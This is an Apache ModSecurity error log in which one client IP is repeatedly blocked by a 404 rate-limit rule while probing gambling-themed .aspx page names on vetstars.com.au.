[Sat Apr 04 20:52:17.841074 2026] [:error] [pid 37114:tid 37134] [client 51.75.119.75:33314] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "adEJgc-DnSj3fGMexeI_XwAAARI"]
[Sat Apr 04 20:52:20.210055 2026] [:error] [pid 2567:tid 2590] [client 51.75.119.75:33324] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adEJhGJJmfRsTrAKjdQt5wAAANA"]
[Sat Apr 04 20:52:20.250863 2026] [:error] [pid 2457:tid 2479] [client 51.75.119.75:33338] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adEJhEmNHppaMd92ZpdT6wAAAAI"]
[Sat Apr 04 20:52:22.651925 2026] [:error] [pid 37114:tid 37136] [client 51.75.119.75:33342] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adEJhs-DnSj3fGMexeI_ZwAAARQ"]
[Sat Apr 04 20:52:22.739361 2026] [:error] [pid 2567:tid 2584] [client 51.75.119.75:33358] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adEJhmJJmfRsTrAKjdQt8QAAAMo"]
[Sat Apr 04 20:52:25.450725 2026] [:error] [pid 2457:tid 2491] [client 51.75.119.75:51748] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adEJiUmNHppaMd92ZpdT9gAAAA4"]
[Sat Apr 04 20:52:25.628434 2026] [:error] [pid 2458:tid 2511] [client 51.75.119.75:51754] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adEJiSNozic5SuWqclkdegAAAEc"]
[Sat Apr 04 20:52:27.930155 2026] [:error] [pid 2459:tid 2547] [client 51.75.119.75:51758] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adEJiwefyCmu4LR_PloZ5QAAAI8"]
[Sat Apr 04 20:52:27.974070 2026] [:error] [pid 2458:tid 2524] [client 51.75.119.75:51764] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adEJiyNozic5SuWqclkdgQAAAFQ"]
[Sat Apr 04 20:52:30.393022 2026] [:error] [pid 2458:tid 2509] [client 51.75.119.75:51778] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adEJjiNozic5SuWqclkdigAAAEU"]
[Sat Apr 04 20:52:30.565095 2026] [:error] [pid 2457:tid 2483] [client 51.75.119.75:51792] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adEJjkmNHppaMd92ZpdUAAAAAAY"]
[Sat Apr 04 20:52:32.893670 2026] [:error] [pid 2458:tid 2527] [client 51.75.119.75:51806] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "adEJkCNozic5SuWqclkdkAAAAFc"]
[Sat Apr 04 20:52:33.136989 2026] [:error] [pid 2567:tid 2576] [client 51.75.119.75:51816] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adEJkWJJmfRsTrAKjdQt-gAAAMI"]
[Sat Apr 04 20:52:35.244966 2026] [:error] [pid 2567:tid 2582] [client 51.75.119.75:40628] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "adEJk2JJmfRsTrAKjdQuAAAAAMg"]
[Sat Apr 04 20:52:35.506732 2026] [:error] [pid 2567:tid 2578] [client 51.75.119.75:40640] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adEJk2JJmfRsTrAKjdQuAQAAAMQ"]
[Sat Apr 04 20:52:37.814092 2026] [:error] [pid 2567:tid 2597] [client 51.75.119.75:40648] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "adEJlWJJmfRsTrAKjdQuBwAAANc"]
[Sat Apr 04 20:52:38.034737 2026] [:error] [pid 2457:tid 2487] [client 51.75.119.75:40652] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adEJlkmNHppaMd92ZpdUDAAAAAo"]
[Sat Apr 04 20:52:40.320025 2026] [:error] [pid 2458:tid 2508] [client 51.75.119.75:40664] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adEJmCNozic5SuWqclkdmQAAAEQ"]
[Sat Apr 04 20:52:40.558926 2026] [:error] [pid 2458:tid 2519] [client 51.75.119.75:40678] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "adEJmCNozic5SuWqclkdmgAAAE8"]
[Sat Apr 04 20:52:42.767804 2026] [:error] [pid 2458:tid 2524] [client 51.75.119.75:40682] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adEJmiNozic5SuWqclkdoQAAAFQ"]
[Sat Apr 04 20:52:42.911570 2026] [:error] [pid 2459:tid 2543] [client 51.75.119.75:40694] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "adEJmgefyCmu4LR_PloZ_wAAAIs"]
[Sat Apr 04 20:52:45.226004 2026] [:error] [pid 2459:tid 2550] [client 51.75.119.75:54748] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adEJnQefyCmu4LR_PloaBQAAAJI"]
[Sat Apr 04 20:52:45.726778 2026] [:error] [pid 2459:tid 2547] [client 51.75.119.75:54764] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "adEJnQefyCmu4LR_PloaBgAAAI8"]
[Sat Apr 04 20:52:47.727605 2026] [:error] [pid 2457:tid 2491] [client 51.75.119.75:54780] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adEJn0mNHppaMd92ZpdUHgAAAA4"]
[Sat Apr 04 20:52:48.213823 2026] [:error] [pid 2459:tid 2548] [client 51.75.119.75:54788] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "adEJoAefyCmu4LR_PloaDAAAAJA"]
[Sat Apr 04 20:52:50.427005 2026] [:error] [pid 2457:tid 2499] [client 51.75.119.75:54798] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adEJokmNHppaMd92ZpdUIAAAABY"]
[Sat Apr 04 20:52:50.606860 2026] [:error] [pid 2457:tid 2489] [client 51.75.119.75:54804] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adEJokmNHppaMd92ZpdUIQAAAAw"]
[Sat Apr 04 20:52:53.093595 2026] [:error] [pid 2459:tid 2541] [client 51.75.119.75:54812] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "adEJpQefyCmu4LR_PloaHAAAAIk"]
[Sat Apr 04 20:52:53.190550 2026] [:error] [pid 2459:tid 2545] [client 51.75.119.75:54822] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "adEJpQefyCmu4LR_PloaHQAAAI0"]
[Sat Apr 04 20:53:18.622295 2026] [:error] [pid 37114:tid 37136] [client 51.75.119.75:59290] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adEJvs-DnSj3fGMexeI_vAAAARQ"]
[Sat Apr 04 20:53:18.676131 2026] [:error] [pid 2567:tid 2591] [client 51.75.119.75:59276] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adEJvmJJmfRsTrAKjdQuKgAAANE"]
[Sat Apr 04 20:53:21.010963 2026] [:error] [pid 2459:tid 2550] [client 51.75.119.75:47302] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adEJwQefyCmu4LR_PloafQAAAJI"]
[Sat Apr 04 20:53:21.234710 2026] [:error] [pid 2459:tid 2554] [client 51.75.119.75:47310] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adEJwQefyCmu4LR_PloafgAAAJY"]
[Sat Apr 04 20:53:23.674436 2026] [:error] [pid 2457:tid 2486] [client 51.75.119.75:47320] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adEJw0mNHppaMd92ZpdUQAAAAAk"]
[Sat Apr 04 20:53:23.762367 2026] [:error] [pid 2459:tid 2547] [client 51.75.119.75:47322] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adEJwwefyCmu4LR_PloaiQAAAI8"]
[Sat Apr 04 20:53:26.193094 2026] [:error] [pid 2567:tid 2577] [client 51.75.119.75:53514] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adEJxmJJmfRsTrAKjdQuMAAAAMM"]
[Sat Apr 04 20:53:26.606646 2026] [:error] [pid 2459:tid 2545] [client 51.75.119.75:53528] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adEJxgefyCmu4LR_PloanAAAAI0"]
[Sat Apr 04 20:53:28.507704 2026] [:error] [pid 2459:tid 2538] [client 51.75.119.75:53540] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adEJyAefyCmu4LR_PloaqAAAAIY"]
[Sat Apr 04 20:53:29.400030 2026] [:error] [pid 2459:tid 2545] [client 51.75.119.75:53544] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adEJyQefyCmu4LR_PloaqgAAAI0"]
[Sat Apr 04 20:53:31.059023 2026] [:error] [pid 37114:tid 37121] [client 51.75.119.75:53550] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adEJy8-DnSj3fGMexeI_wgAAAQU"]
[Sat Apr 04 20:53:31.870464 2026] [:error] [pid 2458:tid 2520] [client 51.75.119.75:53556] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adEJyyNozic5SuWqclkd8wAAAFA"]
[Sat Apr 04 20:53:34.078741 2026] [:error] [pid 2457:tid 2481] [client 51.75.119.75:53564] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adEJzkmNHppaMd92ZpdUTQAAAAQ"]
[Sat Apr 04 20:53:34.380713 2026] [:error] [pid 2457:tid 2501] [client 51.75.119.75:41866] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adEJzkmNHppaMd92ZpdUTwAAABg"]
[Sat Apr 04 20:53:36.519293 2026] [:error] [pid 2459:tid 2540] [client 51.75.119.75:41868] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adEJ0AefyCmu4LR_PloaxQAAAIg"]
[Sat Apr 04 20:53:36.758328 2026] [:error] [pid 2459:tid 2531] [client 51.75.119.75:41884] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adEJ0AefyCmu4LR_PloaxgAAAIA"]
[Sat Apr 04 20:53:39.100043 2026] [:error] [pid 2459:tid 2549] [client 51.75.119.75:41898] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adEJ0wefyCmu4LR_PloayQAAAJE"]
[Sat Apr 04 20:53:39.418474 2026] [:error] [pid 2459:tid 2555] [client 51.75.119.75:41908] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adEJ0wefyCmu4LR_PloazQAAAJc"]
[Sat Apr 04 20:53:41.572922 2026] [:error] [pid 2459:tid 2533] [client 51.75.119.75:41918] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "adEJ1QefyCmu4LR_Ploa1wAAAII"]
[Sat Apr 04 20:53:41.970560 2026] [:error] [pid 2567:tid 2587] [client 51.75.119.75:41920] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adEJ1WJJmfRsTrAKjdQuNgAAAM0"]
[Sat Apr 04 20:53:44.083077 2026] [:error] [pid 2567:tid 2580] [client 51.75.119.75:41924] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "adEJ2GJJmfRsTrAKjdQuOgAAAMY"]
[Sat Apr 04 20:53:44.549761 2026] [:error] [pid 2459:tid 2536] [client 51.75.119.75:50784] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adEJ2AefyCmu4LR_Ploa4wAAAIU"]
[Sat Apr 04 20:53:46.935317 2026] [:error] [pid 37114:tid 37116] [client 51.75.119.75:50794] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adEJ2s-DnSj3fGMexeI_0QAAAQA"]
[Sat Apr 04 20:53:46.944836 2026] [:error] [pid 37114:tid 37137] [client 51.75.119.75:50810] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adEJ2s-DnSj3fGMexeI_0gAAARU"]
[Sat Apr 04 20:53:49.460480 2026] [:error] [pid 2458:tid 2504] [client 51.75.119.75:50812] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adEJ3SNozic5SuWqclkeDQAAAEA"]
[Sat Apr 04 20:53:49.739651 2026] [:error] [pid 2459:tid 2552] [client 51.75.119.75:50822] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adEJ3QefyCmu4LR_PlobBwAAAJQ"]
